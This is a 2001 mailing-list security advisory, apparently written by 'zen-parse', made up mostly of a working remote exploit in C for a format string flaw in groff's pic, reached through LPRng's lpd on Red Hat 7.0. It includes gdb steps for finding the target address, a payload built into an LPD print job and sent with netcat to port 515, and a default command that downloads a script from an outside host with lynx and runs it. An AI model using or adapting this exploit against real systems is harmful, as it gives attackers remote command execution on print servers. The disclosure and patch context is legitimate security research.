ADV/EXP:pic/lpd remote exploit - RH 7.0

[<zen-parse () gmx net>]

Vendor security list has been notified and as of last contact,
on Mon July 9 2001, a patch which seemed to work had been worked out.

This patch is attached. ( groff-1.16.1.diff )

Official patches are sure to follow.

---->>>>>>>>>>   begin pic-lpr-remote.c  <<<<<<<<<<----
#include<stdio.h>
       ///////////////////////////////////////////////////////////////////
      ///      //     //   ///   ////     ////      //      //////______/
     ///  //  // //////  / / /  ///  ////  ////  ////  //////////______/
    ///     ///    ///  // //  ///  ////  ////  ////     ///////    ///
   ///  //  // //////  /////  ///  ////  ////  ////  //////////____///
  ///  //  // //////  /////  ///  ////  ////  ////  /////////////////
 ///  //  //     //  /////  ////     //////  ////      /////////////
///////////////////////////////////////////////////////////////////
     //              \\  -- zen-parse --  \\
    //                \\___________________\\
   //                  \    Remote access    \
  //                    \_____________________\

//               pic format string exploit
//               =========================
// This version -  Sat Jun 23 21:35:31 NZST 2001
// (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001)
//
// pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp
// when perl, troff and LPRng are installed.
//
// The address given is not the exact address, but it works.
// (see /* comments below */ for information on why it's not the exact address)
//
// The offset given is (close enough to) the address for the
// version of /usr/bin/pic from the rpm that comes redhat 7.0
// (groff-1.16-7) The method used to find the offset in your
// version of pic could be something like this :-
/*

bash-2.04$ gdb -q /usr/bin/pic
(no debugging symbols found)...(gdb)
(gdb) break getopt
Breakpoint 1 at 0x8048e94
(gdb) display/i $eip
(gdb) r -S
Starting program: /usr/bin/pic -S
Breakpoint 1 at 0x4014d552: file getopt.c, line 987.

Breakpoint 1, getopt (argc=2, argv=0xbffffa84,
    optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987
987     getopt.c: No such file or directory.
1: x/i $eip  0x4014d552 <getopt+18>:    mov    0x10(%ebp),%ecx
(gdb)
 (
   type nexti a few (mebe a dozen or 2?)  times until you see something like
                movl   $0x1,%ebx
   in which case the next instruction contains safe_address, or
                movl   $0x1,0xsomeaddress
   in which case safe_address is 0xsomeaddress

   IE: It is the the address used by the first instructions
   that assign a value of 1 to an address after the getopt() call.

 )
1: x/i $eip  0x80523c2 <strcpy+37758>:  mov    $0x1,%ebx
(gdb)
0x80523c7       31      in ../sysdeps/generic/strcpy.c
1: x/i $eip  0x80523c7 <strcpy+37763>:  mov    %ebx,0x806feec
(gdb) q

In this case, the address is 0x0806feec, however you may need to aim for
just a little before that, due to what are probably rounding errors in the
conversion between int->float->int, and using the least significant
digits.

This means: You may need to play a little to get it working on your machine.

*/


#define PICURL  "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh";
#error "http://mp3.com/cosv needs visiting"
#define SAFER_ADDRESS 0x0806feeb
#define QUEUE "lp"

FILE *pip;
char *payload(char *cmd,int safer);
char *eos(char *s)
{
 return s+strlen(s);
}

output(char *s,char*addr,FILE*pip)
{
 char v[]=
"Aroot@%s+666\n"
"CA\n"
"D2001-06-23-08:59:18.714\n"
"Hclarity.local\n"
"J/tmp/hack-attempt\n"
"Lroot\n"
"Proot\n"
"Qlp\n"
"N/tmp/sh.c\n"
"fdfA666%s\n"
"UdfA666%s\n";

 char nv[1024];

 fprintf(pip,"\x2"QUEUE"\n");
 sprintf(nv,v,addr,addr,addr);
 fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr);
 fprintf(pip,"%s",nv);
 fflush(pip);
 putc(0,pip);
 fflush(pip);
 fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr);
 fprintf(pip,"%s",s);
 fflush(pip);
 putc(0,pip);
 fflush(pip);
}


main(int argc,char *argv[])
{
 int safer=SAFER_ADDRESS;
 char pcmd[1024];
 char *cmd=0;
 char *addr=0;
 char *evil=0;

 if(argc==1)addr="-h";
 if(!addr)addr=(char*)malloc(256);
 if(argc>2)safer=(int)strtoul(argv[2],0,16);
 if(argc>1)addr=argv[1];
 if(argc>3)cmd=argv[3];
 else
 {
  if(!cmd)cmd=(char*)malloc(512);
  strcpy(cmd,
    "export HOME=/tmp;/usr/bin/lynx -dump "PICURL
    ">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$");
 }
 if(!*addr)addr=(char*)malloc(256);
 if(!strcmp(addr,"-h"))
 {
  printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]);
  exit(1);
 }
 evil=payload(cmd,safer);
 sprintf(pcmd,"nc %s 515",addr);
 pip=popen(pcmd,"w");
 output(evil,addr,pip);
 if(pclose(pip))
 {
  printf("It might not've worked.\nThe command returned a funny value.\n");
  printf("check you have netcat (nc) in your path.\n");
  exit(1);
 }
}


char *payload(char *cmd,int safer)
{
 char *retstr;
 char *tmp;
 retstr=(char*)malloc(4096);
 sprintf(retstr,".PS\n");

        //  %f is 8 bytes long the two values are  \\
       //  needed. the value was just the first one \\
      // that I had in there... it it ain't broke... \\

 tmp=eos(retstr);
 sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08);
 tmp=eos(retstr);
 sprintf(tmp,"sh X%sX\n",cmd);
 tmp=eos(retstr);
 sprintf(tmp,".PE\n");
 tmp=eos(retstr);
 sprintf(tmp,"This is the way we hack the printer,\n");
 tmp=eos(retstr);
 sprintf(tmp,"Hack the printer, hack the printer.\n");
 tmp=eos(retstr);
 sprintf(tmp,"This is the way we hack the printer,\n");
 tmp=eos(retstr);
 sprintf(tmp,"when they are running a vulnerable version\n");
 tmp=eos(retstr);
 sprintf(tmp,"of groff.\n");
 tmp=eos(retstr);
 return retstr;
}

---->>>>>>>>>>   end pic-lpr-remote.c  <<<<<<<<<<----


------------------------------------------------------------------------
-- - - - - - --   http://mp3.com/cosv - It's not just a music site!   --
-- zen-parse --   (photon bed is good)  Ok, it is, but it's my one.   --
-- - - - - - --   Gone Platinum -CoSV - Buy the CD and make me happy. --
------------------------------------------------------------------------

Attachment: groff-1.16.1.diff
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